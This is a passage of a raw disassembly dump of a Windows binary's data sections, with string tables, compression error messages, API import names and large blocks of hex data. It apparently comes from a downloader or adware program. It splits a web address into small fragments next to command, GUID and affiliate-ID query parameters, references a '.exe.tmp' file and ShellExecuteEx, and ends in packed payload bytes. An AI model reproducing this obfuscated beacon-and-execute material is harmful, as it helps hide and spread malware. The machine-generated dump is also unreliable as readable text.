'tup',0 ; DATA XREF: sub_425642+54o aNex db 'nex',0 ; DATA XREF: sub_425642+44o aP_0: ; DATA XREF: sub_42578F+49o unicode 0, <p>,0 aI: ; DATA XREF: sub_425896+5Ao ; sub_4259AE+57o unicode 0, <i>,0 aR: ; DATA XREF: sub_425896+38o ; sub_4259AE+35o ... unicode 0, <R>,0 aW: ; DATA XREF: sub_425896+21o ; sub_4259AE+1Ao ... unicode 0, <W>,0 asc_437448: ; DATA XREF: sub_4259AE+E4o unicode 0, <,>,0 aCmd db 'cmd',0 ; DATA XREF: sub_425B2E+57o aMd db 'md',0 ; DATA XREF: sub_425C67+6Bo align 4 aC: ; DATA XREF: sub_425C67+5Ao unicode 0, <c>,0 aAffid db 'affID',0 ; DATA XREF: sub_425D94+1E7o align 10h aVersion_1 db '\version',0 ; DATA XREF: sub_426022+264o align 4 a11866787a5f240 db '11866787A5F240675EE6610530A652BC94C74E756BC56C0935BA7D9087C160476' ; DATA XREF: sub_426022+228o db 'CDF5E0330BA48BC9CEF42506DCC7A072F8F48BF97C0564B70',0 align 10h a_exe_tmp db '.exe.tmp',0 ; DATA XREF: sub_426022+134o align 4 aInu db 'inu',0 ; DATA XREF: sub_426022+129o aOf db 'of',0 ; DATA XREF: sub_426022+115o align 4 aMr db 'mr',0 ; DATA XREF: sub_426022+104o align 4 aE: ; DATA XREF: sub_426022+DDo unicode 0, <e>,0 a_ex db '.ex',0 ; DATA XREF: sub_426022+B5o aFinu db 'finu',0 ; DATA XREF: sub_426022+A1o align 4 aRo db 'ro',0 ; DATA XREF: sub_426022+90o align 4 aM db '\m',0 ; DATA XREF: sub_426022+64o align 10h aSei db 'sei ',0Ah,0 ; DATA XREF: sub_42640B+49o align 4 aShellexecuteex db 'ShellExecuteEx',0 ; DATA XREF: sub_42640B+27o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_42640B+15o asc_437534: ; DATA XREF: sub_426584+60o unicode 0, <\>,0 asc_437538: ; DATA XREF: sub_426584+ACo unicode 0, <\>,0 asc_43753C: ; DATA XREF: sub_426584+107o unicode 0, <\>,0 asc_437540: ; DATA XREF: sub_426584+117o unicode 0, <\>,0 asc_437544: ; DATA XREF: sub_42692B+8Ao unicode 0, <\>,0 asc_437548: ; DATA XREF: sub_42692B+D6o unicode 0, <\>,0 asc_43754C: ; DATA XREF: sub_42692B+131o unicode 0, <\>,0 asc_437550: ; DATA XREF: sub_42692B+141o unicode 0, <\>,0 asc_437554: ; DATA XREF: TEUm:00426FE4o unicode 0, <\>,0 asc_437558: ; DATA XREF: TEUm:00427030o unicode 0, <\>,0 asc_43755C: ; DATA XREF: TEUm:0042708Bo unicode 0, <\>,0 asc_437560: ; DATA XREF: TEUm:0042709Bo unicode 0, <\>,0 asc_437564: ; DATA XREF: TEUm:00427507o unicode 0, <\>,0 asc_437568: ; DATA XREF: TEUm:00427553o unicode 0, <\>,0 asc_43756C: ; DATA XREF: TEUm:004275AEo unicode 0, <\>,0 asc_437570: ; DATA XREF: TEUm:004275BEo unicode 0, <\>,0 aD_0 db '%d',0 ; DATA XREF: sub_42852F+83o align 4 asc_437578 db '&x=',0 ; DATA XREF: sub_42852F+99o aI_0 db '&i=',0 ; DATA XREF: sub_42852F+D0o aP_1 db '&p=',0 ; DATA XREF: sub_42852F+107o aCmd_0 db '&cmd=',0 ; DATA XREF: sub_42852F+111o align 4 aGuid db '&GUID=',0 ; DATA XREF: sub_42852F+168o align 4 aConfigversion db '&configversion=',0 ; DATA XREF: sub_42852F+19Fo aVersion db '&version=',0 ; DATA XREF: sub_42852F+1AEo align 10h aHtt db 'htt',0 ; DATA XREF: sub_42852F+4CFo aP db 'p://',0 ; DATA XREF: sub_42852F+4E9o align 4 aWr_mc db 'wr.mc',0 ; DATA XREF: sub_42852F+503o align 4 aBo db 'bo',0 ; DATA XREF: sub_42852F+51Do align 4 aO: ; DATA XREF: sub_42852F+537o unicode 0, <o>,0 a_co db '.co',0 ; DATA XREF: sub_42852F+551o aMR db 'm/r',0 ; DATA XREF: sub_42852F+56Bo aEta db 'eta',0 ; DATA XREF: sub_42852F+585o aDpu_ db 'dpu.',0 ; DATA XREF: sub_42852F+59Fo align 10h aPh db 'ph',0 ; DATA XREF: sub_42852F+5B9o align 4 aP? db 'p?',0 ; DATA XREF: sub_42852F+5D3o align 4 aOld db 'old',0 ; DATA XREF: sub_429039+3C1o align 10h dword_4375F0 dd 2933BF81h, 11D27B36h, 0C0000EB2h, 603E984Fh ; sub_429DA0+4Ao ... dword_437600 dd 2 dup(0) dd 0C0h, 46000000h aNeedDictiona_0 db 'need dictionary',0 ; DATA XREF: TEUm:off_4332D0o aStreamEnd db 'stream end',0 ; DATA XREF: TEUm:004332D4o align 4 aFileError db 'file error',0 ; DATA XREF: TEUm:004332DCo align 4 aStreamError db 'stream error',0 ; DATA XREF: TEUm:004332E0o align 4 aDataError db 'data error',0 ; DATA XREF: TEUm:004332E4o align 4 aInsufficientMe db 'insufficient memory',0 ; DATA XREF: TEUm:004332E8o aBufferError db 'buffer error',0 ; DATA XREF: TEUm:004332ECo align 4 aIncompatibleVe db 'incompatible version',0 ; DATA XREF: TEUm:004332F0o align 10h aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_42A2DE+342o aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_42A2DE+60Eo align 4 aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_42B1FD+29Bo align 4 aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_42B1FD+3D8o align 4 aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_42B1FD+7D2o aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_42B1FD+DE1o align 4 aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_42CE8E+65o aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_42CE8E+7Fo aOversubscrib_0 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_42CF36+84o align 4 aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_42CF36+96o align 4 aOversubscrib_1 db 'oversubscribed distance tree',0 ; DATA XREF: sub_42CF36+119o align 4 aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_42CF36+12Bo align 4 aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_42CF36+144o align 4 aInvalidDista_0 db 'invalid distance code',0 ; DATA XREF: sub_42D0E6+3A8o align 10h aInvalidLiter_0 db 'invalid literal/length code',0 ; DATA XREF: sub_42D0E6+586o a1_1_3 db '1.1.3',0 ; DATA XREF: TEUm:0042DC1Ao align 4 a1_1_3_0 db '1.1.3',0 ; DATA XREF: sub_42DD45+6o align 4 byte_43786C db 31h ; DATA XREF: sub_42DD45+20r db 2Eh, 31h, 2Eh dd 33h aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_42DEC5+D1o align 10h aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_42DEC5+113o aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_42DEC5+1B1o align 4 aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_42DEC5+3C3o aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_42DEC5+64Co align 4 asc_4378E4: ; DATA XREF: sub_43012E+39o unicode 0, <\>,0 aUt db 'UT',0 ; DATA XREF: sub_4301DC+4ACo align 4 a__ db '../',0 ; DATA XREF: sub_430A42+32Do a___0 db '..\',0 ; DATA XREF: sub_430A42+349o aUnknownZipResu db 'unknown zip result code',0 ; DATA XREF: TEUm:loc_430FB9o aSuccess db 'Success',0 ; DATA XREF: TEUm:loc_43113Fo aCuldnTDuplicat db 'Culdn',27h,'t duplicate handle',0 ; DATA XREF: TEUm:loc_43114Bo align 10h aCouldnTCreateO db 'Couldn',27h,'t create/open file',0 ; DATA XREF: TEUm:loc_431157o align 4 aFailedToAlloca db 'Failed to allocate memory',0 ; DATA XREF: TEUm:loc_431163o align 4 aErrorWritingTo db 'Error writing to file',0 ; DATA XREF: TEUm:loc_43116Fo align 10h aFileNotFoundIn db 'File not found in the zipfile',0 ; DATA XREF: TEUm:loc_43117Bo align 10h aStillMoreDataT db 'Still more data to unzip',0 ; DATA XREF: TEUm:loc_431187o align 4 aZipfileIsCorru db 'Zipfile is corrupt or not a zipfile',0 ; DATA XREF: TEUm:loc_431190o aErrorReadingFi db 'Error reading file',0 ; DATA XREF: TEUm:loc_431199o align 4 aCallerFaultyAr db 'Caller: faulty arguments',0 ; DATA XREF: TEUm:loc_4311A2o align 10h aCallerTheFileH db 'Caller: the file had already been partially unzipped',0 ; DATA XREF: TEUm:loc_4311ABo align 4 aCallerCanOnlyG db 'Caller: can only get memory of a memory zipfile',0 ; DATA XREF: TEUm:loc_4311B4o aCallerNotEnoug db 'Caller: not enough space allocated for memory zipfile',0 ; DATA XREF: TEUm:loc_4311BDo align 10h aCallerThereWas db 'Caller: there was a previous error',0 ; DATA XREF: TEUm:loc_4311C6o align 4 aCallerAddition db 'Caller: additions to the zip have already been ended',0 ; DATA XREF: TEUm:loc_4311CFo align 4 aCallerMixingCr db 'Caller: mixing creation and opening of zip',0 ; DATA XREF: TEUm:loc_4311D8o align 4 aZipBugInternal db 'Zip-bug: internal initialisation not completed',0 ; DATA XREF: TEUm:loc_4311E1o align 4 aZipBugTryingTo db 'Zip-bug: trying to seek the unseekable',0 ; DATA XREF: TEUm:loc_4311EAo align 10h aZipBugTheAntic db 'Zip-bug: the anticipated size turned out wrong',0 ; DATA XREF: TEUm:loc_4311F3o align 10h aZipBugTriedToC db 'Zip-bug: tried to change mind, but not allowed',0 ; DATA XREF: TEUm:loc_4311FCo align 10h aZipBugAnIntern db 'Zip-bug: an internal error during flation',0 ; DATA XREF: TEUm:loc_431205o align 10h off_437C20 dd offset off_434AD4 ; DATA XREF: TEUm:off_434AF0o ; TEUm:00434B2Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dword_437C40 dd 1 align 8 dword_437C48 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_437C58 dd offset off_434AD4 ; DATA XREF: TEUm:off_434B38o ; TEUm:00434B74o ... align 10h a_?av_com_error db '.?AV_com_error@@',0 align 8 a8b db '8B',0 ; DATA XREF: sub_421ACF+24o ; sub_421ACF+64o ... align 4 dd 7FFh dup(0) byte_439C78 db 0 ; DATA XREF: TEUm:00421B9Ar align 4 byte_439C7C db 0 ; DATA XREF: TEUm:00421BB5r align 10h byte_439C80 db 0 ; DATA XREF: sub_421C92+25r align 4 byte_439C84 db 0 ; DATA XREF: sub_421D8A+Ar align 4 byte_439C88 db 0 ; DATA XREF: sub_421D8A+25r align 4 byte_439C8C db 0 ; DATA XREF: TEUm:00421E90r align 10h byte_439C90 db 0 ; DATA XREF: TEUm:00421EABr align 4 byte_439C94 db 0 ; DATA XREF: TEUm:00421F65r align 4 byte_439C98 db 0 ; DATA XREF: TEUm:loc_421FCBr align 4 byte_439C9C db 0 ; DATA XREF: TEUm:00422050r align 10h byte_439CA0 db 0 ; DATA XREF: TEUm:0042206Br align 4 byte_439CA4 db 0 ; DATA XREF: TEUm:loc_422104r align 4 byte_439CA8 db 0 ; DATA XREF: sub_422296+Ar align 4 dword_439CAC dd 0 byte_439CB0 db 0 ; DATA XREF: sub_422FB0+1Br ; sub_422FB0:loc_4230A9o ... align 4 word_439CB4 dw 0 ; DATA XREF: sub_424B41+2Er align 4 dword_439CB8 dd 0 dword_439CBC dd 0 dword_439CC0 dd 0 dword_439CC4 dd 0 dword_439CC8 dd 0 dword_439CCC dd 0 dword_439CD0 dd 0 dword_439CD4 dd 0 dword_439CD8 dd 0 dword_439CDC dd 0 dword_439CE0 dd 0 dword_439CE4 dd 0 dword_439CE8 dd 0 dword_439CEC dd 0 dword_439CF0 dd 0 dword_439CF4 dd 0 dword_439CF8 dd 0 dword_439CFC dd 0 dword_439D00 dd 0 ; sub_428520+3o ... aJSJSJSJS db 'ssss',0 align 4 aJSJS db 'ss',0 align 4 dd 325000h, 325050h, 73EA86D4h, 801h dup(0) dd offset off_4332CC align 10h dword_43BD40 dd 0 ; sub_429039+41o ... dword_43BD44 dd 0 ; sub_43126B+73w ... dword_43BD48 dd 0 dword_43BD4C dd 3 dup(0) dword_43BD58 dd 0 dword_43BD5C dd 0 dword_43BD60 dd 0 dword_43BD64 dd 0 dword_43BD68 dd 4 dup(0) dword_43BD78 dd 0 dword_43BD7C dd 0FFFFFFFFh ; TEUm:0043194Ew dword_43BD80 dd 0FFFFFFFFh ; sub_4318D6+1Ao ... dd 49Fh dup(0) dd 140h, 12018h, 65724301h, 46657461h, 41656C69h, 65520100h dd 69466461h, 100656Ch, 736F6C43h, 6E614865h, 656C64h dd 74654701h, 656C6946h, 657A6953h, 65470100h, 73614C74h dd 72724574h, 100726Fh aGetcurrentdire db 'GetCurrentDirectoryA',0 db 1, 43h, 72h aEatedirectorya db 'eateDirectoryA',0 db 1 aRemovedirector db 'RemoveDirectoryA',0 db 1, 53h, 65h aTfileattribute db 'tFileAttributesA',0 db 1, 47h, 65h aTfileattribu_0 db 'tFileAttributesA',0 db 1, 55h, 6Eh aMapviewoffile db 'mapViewOfFile',0 dw 4601h aIndfirstfilea db 'indFirstFileA',0 dw 5301h aEtcurrentdirec db 'etCurrentDirectoryA',0 db 1 aGlobalfree db 'GlobalFree',0 db 1 aWritefile db 'WriteFile',0 db 1 aFreelibrary db 'FreeLibrary',0 db 1 aGlobalrealloc db 'GlobalReAlloc',0 db 1 aGlobalalloc db 'GlobalAlloc',0 db 1 aGetprocaddress db 'GetProcAddress',0 db 1 aWidechartomult db 'WideCharToMultiByte',0 db 1, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 4D01h aApviewoffile db 'apViewOfFile',0 db 1, 43h, 72h aEatefilemappin db 'eateFileMappingA',0 db 1, 6Ch, 73h aTrcata db 'trcatA',0 db 1 aSetlasterror db 'SetLastError',0 db 1, 46h, 69h aNdclose db 'ndClose',0 dd 6E694601h, 78654E64h, 6C694674h, 1004165h, 53746547h dd 74726174h, 6E497075h, 416F66h, 74654701h, 75646F4Dh dd 6148656Ch, 656C646Eh, 53010041h, 69467465h, 6954656Ch dd 100656Dh aDosdatetimetof db 'DosDateTimeToFileTime',0 dw 5301h aYstemtimetofil db 'ystemTimeToFileTime',0 db 1 aGetcurrentproc db 'GetCurrentProcess',0 db 1 aDuplicatehandl db 'DuplicateHandle',0 db 1 aGetfiletype db 'GetFileType',0 db 1, 53h, 65h aTfilepointer db 'tFilePointer',0 db 1, 4Ch, 6Fh aCalfree db 'calFree',0 db 1 aInterlockedinc db 'InterlockedIncrement',0 dw 4301h aReatemutexa db 'reateMutexA',0 db 1 aLstrlena db 'lstrlenA',0 dw 4701h aEtvolumeinform db 'etVolumeInformationA',0 db 1, 47h, 65h aTsystemdefault db 'tSystemDefaultLCID',0 db 1 aGetlocaleinfoa db 'GetLocaleInfoA',0 db 1 aInterlockeddec db 'InterlockedDecrement',0 db 1, 6Ch, 73h aTrcpyna db 'trcpynA',0 db 1 aLstrcpya db 'lstrcpyA',0 dw 5701h aAitforsingleob db 'aitForSingleObject',0 db 1 aGetwindowsdire db 'GetWindowsDirectoryA',0 db 1, 47h, 65h aTmodulefilenam db 'tModuleFileNameA',0 db 1, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 db 1 aSleep db 'Sleep',0 dw 4D00h dd 1, 1000120h, 43676552h, 65736F6Ch, 79654Bh, 67655201h dd 6E65704Fh, 4579654Bh, 1004178h, 53676552h, 61567465h dd 4565756Ch, 1004178h, 43676552h, 74616572h, 79654B65h dd 417845h, 67655201h, 72657551h, 6C615679h, 78456575h dd 5A000041h, 0E8000001h, 0FF000120h, 12FF1B10h, 164EFF1Bh dd 0FF03ABFFh, 0ADFF039Eh, 0B63FF03h, 0FF0339FFh, 33FF15C4h dd 1021FF16h, 0FF039CFFh, 1CFF039Ah, 35AFF02h, 0FF0320FFh dd 17FF035Ch, 959FF02h, 0FF0219FFh, 64000337h, 40000001h dd 1000121h a?is_open@ifstr db '?is_open@ifstream@@QBEHXZ',0 dw 3F01h aRead@istream@@ db 'read@istream@@QAEAAV1@PADH@Z',0 db 1, 3Fh, 67h aCount@istream@ db 'count@istream@@QBEHXZ',0 dw 3F01h aClose@ifstream db 'close@ifstream@@QAEXXZ',0 db 1 a??_difstream@@ db '??_Difstream@@QAEXXZ',0 db 1, 3Fh, 6Fh aPen@ifstream@@ db 'pen@ifstream@@QAEXPBDHH@Z',0 dw 3F01h aSh_read@filebu db 'sh_read@filebuf@@2HB',0 db 1, 2 dup(3Fh) a0ifstream@@qae db '0ifstream@@QAE@XZ',0 dw 3F01h aFail@ios@@qbeh db 'fail@ios@@QBEHXZ',0 align 2 dw 170h dd 21680000h, 3F010001h, 243F313Fh, 69736162h, 74735F63h dd 676E6972h, 3F554440h, 61686324h, 72745F72h, 73746961h dd 73404440h, 40406474h, 61243F56h, 636F6C6Ch, 726F7461h dd 32404440h, 74734040h, 51404064h, 58404541h, 3F01005Ah dd 243F303Fh, 69736162h, 74735F63h, 676E6972h, 3F554440h dd 61686324h, 72745F72h, 73746961h, 73404440h, 40406474h dd 61243F56h, 636F6C6Ch, 726F7461h, 32404440h, 74734040h dd 51404064h, 41404541h, 243F5642h, 6F6C6C61h, 6F746163h dd 40444072h, 5A404031h, 733F0100h, 74736275h, 243F4072h dd 69736162h, 74735F63h, 676E6972h, 3F554440h, 61686324h dd 72745F72h, 73746961h, 73404440h, 40406474h, 61243F56h dd 636F6C6Ch, 726F7461h, 32404440h, 74734040h, 51404064h dd 413F4542h, 40323156h, 5A404949h, 663F0100h, 5F646E69h dd 7473616Ch, 40666F5Fh, 6162243Fh, 5F636973h, 69727473h dd 4440676Eh, 63243F55h, 5F726168h, 69617274h, 44407374h dd 64747340h, 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh dd 40403240h, 40647473h, 45425140h, 40494449h, 3F01005Ah dd 736F706Eh, 62243F40h, 63697361h, 7274735Fh, 40676E69h dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h dd 64747340h, 49324040h, 3F010042h, 243F343Fh, 69736162h dd 74735F63h, 676E6972h, 3F554440h, 61686324h, 72745F72h dd 73746961h, 73404440h, 40406474h, 61243F56h, 636F6C6Ch dd 726F7461h, 32404440h, 74734040h, 51404064h, 41414541h dd 40313056h, 30564241h, 5A404031h, 3F3F0100h, 62243F30h dd 63697361h, 7274735Fh, 40676E69h, 243F5544h, 72616863h dd 6172745Fh, 40737469h, 74734044h, 56404064h, 6C61243Fh dd 61636F6Ch, 40726F74h, 40324044h, 64747340h, 41514040h dd 42414045h, 40313056h, 1005A40h, 7373613Fh, 406E6769h dd 6162243Fh, 5F636973h, 69727473h, 4440676Eh, 63243F55h dd 5F726168h, 69617274h, 44407374h, 64747340h, 3F564040h dd 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h, 40647473h dd 45415140h, 31564141h, 42504032h, 5A4044h, 5F633F01h dd 40727473h, 6162243Fh, 5F636973h, 69727473h, 4440676Eh dd 63243F55h, 5F726168h, 69617274h, 44407374h, 64747340h dd 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h dd 40647473h, 45425140h, 58444250h, 3F01005Ah, 657A6973h dd 62243F40h, 63697361h, 7274735Fh, 40676E69h, 243F5544h dd 72616863h, 6172745Fh, 40737469h, 74734044h, 56404064h dd 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h, 64747340h dd 42514040h, 5A584945h, 3F3F0100h, 64747338h, 41594040h dd 42414E5Fh, 62243F56h, 63697361h, 7274735Fh, 40676E69h dd 243F5544h, 72616863h, 6172745Fh, 40737469h, 74734044h dd 56404064h, 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h dd 30403040h, 1005A40h, 3F343F3Fh, 73616224h, 735F6369h dd 6E697274h, 55444067h, 6863243Fh, 745F7261h, 74696172h dd 40444073h, 40647473h, 243F5640h, 6F6C6C61h, 6F746163h dd 40444072h, 73404032h, 40406474h, 41454151h, 31305641h dd 44425040h, 5A40h, 17Ch, 1219Ch, 72747301h, 7970636Eh dd 74610100h, 1006C6Fh, 656D6974h, 74610100h, 100696Fh dd 7274735Fh, 6D63696Eh, 5F010070h, 64727473h, 1007075h dd 73626D5Fh, 727075h, 72747301h, 746163h, 48455F01h, 6F72705Fh dd 676F6Ch, 6D656D01h, 797063h, 706F6601h, 1006E65h, 6C6C616Dh dd 100636Fh, 73727473h, 1007274h, 6F6C6366h, 1006573h dd 65657266h, 74660100h, 6C6C65h, 435F5F01h, 72467878h dd 48656D61h, 6C646E61h, 1007265h, 7878435Fh, 6F726854h dd 63784577h, 69747065h, 1006E6Fh, 69727073h, 66746Eh dd 73637701h, 6E656Ch, 626D5F01h, 706D6373h, 73660100h dd 6B6565h, 756F7401h, 72657070h, 74730100h, 6E656C72h dd 74730100h, 79706372h, 6D5F0100h, 626E7362h, 797063h dd 6D656D01h, 746573h, 6C616301h, 636F6Ch, 72747301h, 706D63h dd 746D6701h, 656D69h, 626D5F01h, 72747373h, 3F3F0100h dd 70797431h, 6E695F65h, 40406F66h, 40454155h, 1005A58h dd 6C645F5Fh, 656E6F6Ch, 746978h, 6E6F5F01h, 74697865h dd 655F0100h, 746978h, 63585F01h, 69467470h, 7265746Ch dd 78650100h, 1007469h, 65675F5Fh, 69616D74h, 6772616Eh dd 5F010073h, 646D6361h, 1006E6Ch, 696E695Fh, 72657474h dd 5F01006Dh, 7465735Fh, 72657375h, 6874616Dh, 727265h dd 64615F01h, 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh dd 6D6D6F63h, 65646Fh, 705F5F01h, 6D665F5Fh, 65646Fh, 735F5F01h dd 615F7465h, 745F7070h, 657079h, 78655F01h, 74706563h dd 6E61685Fh, 72656C64h, 66010033h, 64616572h, 635F0100h dd 72746E6Fh, 70666C6Fh, 1870000h, 22A40000h, 43010001h dd 696E556Fh, 6974696Eh, 7A696C61h, 4F010065h, 7552656Ch dd 4301006Eh, 6572436Fh, 49657461h, 6174736Eh, 65636Eh dd 496F4301h, 6974696Eh, 7A696C61h, 91000065h, 60000001h dd 0FF000122h, 9FF000Ch, 8FF00h, 0FF0095FFh, 6FF0096h dd 7FF00h, 0FF00C8FFh, 9E000002h, 88000001h, 1000122h dd 69464853h, 704F656Ch, 74617265h, 416E6F69h, 1AA0000h dd 22900000h, 43010001h, 5279706Fh, 746365h, 75714501h dd 65526C61h, 1007463h, 72707377h, 66746E69h, 43010041h dd 55726168h, 72657070h, 41h, 50000000h, 4C000045h, 40000401h dd 480645h, 0 dd 0E0000000h, 0B010F00h, 601h, 120h, 0A0h, 1A000000h dd 119h, 10h, 130h, 4200h, 10h, 4000010h, 0 dd 4000000h, 2 dup(0) dd 1D0h, 10h, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0) dd 30000000h, 0DC00015Eh, 0 dd 280001C0h, 3, 12h dup(0) dd 0B8000130h, 2, 5 dup(0) dd 2E000000h, 74786574h, 45000000h, 11Ah, 10h, 120h, 10h dd 2 dup(0) dd 20000000h, 2E600000h, 74616472h, 96000061h, 3Dh, 130h dd 40h, 130h, 2 dup(0) dd 40000000h, 2E400000h, 61746164h, 84000000h, 4Dh, 170h dd 10h, 170h, 2 dup(0) dd 40000000h, 2EC00000h, 63727372h, 28000000h, 3, 1C0h dd 10h, 180h, 2 dup(0) dd 40000000h, 400000h, 0C40001C0h, 161h, 1CB4300h, 7C903200h dd 0C8F0A027h, 240E4B92h, 0BF02A10h, 30071196h, 0C85FC32Ah dd 102EF937h, 0F8431C5Fh, 3149E102h, 5E183BF0h, 48014583h dd 0A2A8FDD1h, 807148B2h, 0F0C90117h, 62102684h, 0DB1B8EA3h dd 4EAA58D4h, 0F42E1720h, 593FFF25h, 500F18A9h, 45435641h dd 70656378h, 6E6F6974h, 505EA8FEh, 6977DF69h, 0FF778A6Eh dd 746501DFh, 6C6C642Eh, 746E4900h, 4F0C7265h, 0B26E6570h dd 833981F7h, 6C72550Fh, 4AC91312h, 6C437FC5h, 4865736Fh dd 13DA6E61h, 0FDCEAAB7h, 64616552h, 106946h, 504F1C25h dd 0AA1D45DFh, 639F7A45h, 6F206372h, 0EDEDB1DCh, 2B202C6Bh dd 6B617473h, 6C6F9328h, 7760FE25h, 61661BCFh, 3A6438h dd 70695A1Fh, 0BF0A2928h, 23FB5FB7h, 26239E62h, 79725F72h dd 3000563Dh, 7F7FFFB1h, 5832305Fh, 21C94217h, 12B3F2D3h dd 8AB0222h, 0DB3F7766h, 0A363BFDEh, 75427469h, 0E35C419Ah dd 73776F64h, 7F685EEBh, 64690067h, 696601CBh, 476FC65h dd 61ADFB9Ch, 0BA000C73h, 64707577h, 0BB2BC461h, 87D557FDh dd 657865F6h, 117563h, 0DB0E3068h, 530F9FB6h, 22502D61h dd 0EB410B68h, 702ADFDCh, 61726170h, 0B36656Dh, 0FB6FBE66h dd 0D6EAE08h, 75716557h, 13640469h, 7FB6C36Fh, 79656B0Fh dd 0B75D376h, 746F6F1Fh, 7BA1611Eh, 466E9407h, 52570361h dd 9B981B5Ch, 747886DDh, 1B0C0F87h, 855CEB0Eh, 2B696F46h dd 0D86E6463h, 675DB6D6h, 1E1000C0h, 257735BEh, 651EAF93h dd 494C4D58h, 90BB3680h, 473A7F00h, 63867341h, 6D742E4Fh dd 94232063h, 4DDCF51Ch, 759142F6h, 7DB7746Ch, 31303003h dd 0D2FFFFFFh, 38384130h, 37393337h, 32463541h, 37363034h dd 46454535h, 35334434h, 6F6F97B6h, 3642391Eh, 3641331Ah dd 43364446h, 0ADF64617h, 3127DFFDh, 36333531h, 43344341h dd 41241438h, 2343637h, 0FFF6B5AEh, 36394544h, 33393031h dd 3F443831h, 225B4912h, 2DB9CE7Bh, 7060058h, 0ADB6DD63h dd 7E4331BDh, 43953672h, 2C304169h, 0A0BB7DB6h, 350F4244h dd 74383242h, 0BA5B5F36h, 42A07B9Bh, 5B564431h, 34633037h dd 0DDD737B5h, 63033D5h, 3073F232h, 50FE4437h, 0EFADDADBh dd 0D43435FFh, 0E814175h, 822B70B4h, 12394628h, 270E8C38h dd 0F2E1583h, 0BAE32035h, 0E4168061h, 5CAAEF72h, 0B09E3B72h dd 56746BA9h, 4F525C8Dh, 687F5C74h, 0B6578CFCh, 7275435Ch dd 4F53E44Ch, 2A8B5446h, 4157FE35h, 4D5C4552h, 0FE7ECA69h dd 0C6521DC3h, 463FD703h, 6387A03h, 874B4400h, 0D55CE543h dd 4F71A2Fh, 2CC7C6B9h, 24E6D33h, 0FF2C6036h, 6666613Fh dd 535C4449h, 0E1ACA31h, 38478684h, 35B736E7h, 0F970BDB8h dd 394335F7h, 453437D4h, 0ED423616h, 14686685h, 0CCF4CF43h dd 31303944h, 0F0DDBB5Bh, 30363143h, 464443E7h, 2F333033h dd 142D3417h, 2F38BA3Ah, 27322743h, 0B705438Ah, 9B38A171h dd 461E3237h, 0C28E1417h, 542F6B42h, 87574249h, 4C30DA16h dd 15FF8B78h, 99EE4C6Fh, 976DD59Ah, 0B4671BCCh, 14E4EEAAh dd 5CFD63h, 6EBFADA4h, 272069E0h, 35656853h, 0EBD7B445h dd 1706DAE7h, 0D732330Fh, 895FDB03h, 267403B2h, 69033D78h dd 34C1ABF0h, 933D3870h, 25CC5547h, 833AEA4h, 91F7C26h dd 96EB7AA3h, 4E746800h, 0A22F3A70h, 0FC3DD7B5h, 6D2E7277h dd 6FBB626Bh, 85E937CFh, 2FDBB6ADh, 0AF6142DCh, 0E32E7570h dd 1BAE027Ah, 1F3F0368h, 2781001Ah, 0B7484487h, 746C089h dd 0DB0AB71Ah, 0F642067h, 6C6AD8D5h, 0F779EE4Bh, 20862B74h dd 0DACDA36Dh, 993642Fh, 0D9626F3Ch, 1764B318h, 0D611F0Dh dd 87C2B606h, 0FE757367h, 591A6943h, 20ADDD73h, 476F6DC2h dd 2F1E1162h, 6D6856EEh, 3495AC23h, 6B536269h, 23196E5Dh dd 82692217h, 0CD81A003h, 2F090740h, 0CCDE6705h, 20255B40h dd 9E1B362Ch, 66D9B2Dh, 15653FD3h, 83596D33h, 636F4ABFh dd 7974206Bh, 3129135Eh, 6F6D86CEh, 734C1A65h, 0B5B60DC7h dd 449A3302h, 65201379h, 25ACBE17h, 6D797356h, 57736C52h dd 0B586D6B5h, 5C4B268Bh, 0F4AD0FB4h, 0B36F3FD7h, 38736275h dd 0E17931C1h, 0AC033580h, 20732AF1h, 0F6B58521h, 12E7B39Eh dd 94B123CDh, 0FA4B6C25h, 21237B46h, 1F1A4760h, 61B3618Fh dd 3F1DCB2Bh, 36476856h, 18651B64h, 0B8251634h, 0E3201706h dd 8062FEDh, 0AF7B84A9h, 8A773235h, 0C3073BC6h, 9FB83AF6h dd 20AA6E6Bh, 0FA736B91h, 8E685658h, 67CD6826h, 93B6135Ch dd 7A1B2063h, 0EB4B243h, 20933717h, 63451168h, 4646CB07h dd 0AB2BCD2Bh, 0C349ED27h, 0AB258D1Eh, 1035455h, 2EE66B0Dh dd 7F0D2F2Eh, 0CE070CFDh, 49967F54h, 63637553h, 0DB7B96B6h dd 1143008Eh, 45276E64h, 0DB638AEBh, 0F8B9A2CDh, 43009877h dd 62E81C6Fh, 396306D7h, 0CB6F2F19h, 62C42820h, 73469890h dd 7588CD3Fh, 6F7159D1h, 0A34FD38h, 451BD1EDh, 0F1E1D5F8h dd 2BD869DAh, 53332253h, 5AA0568Dh, 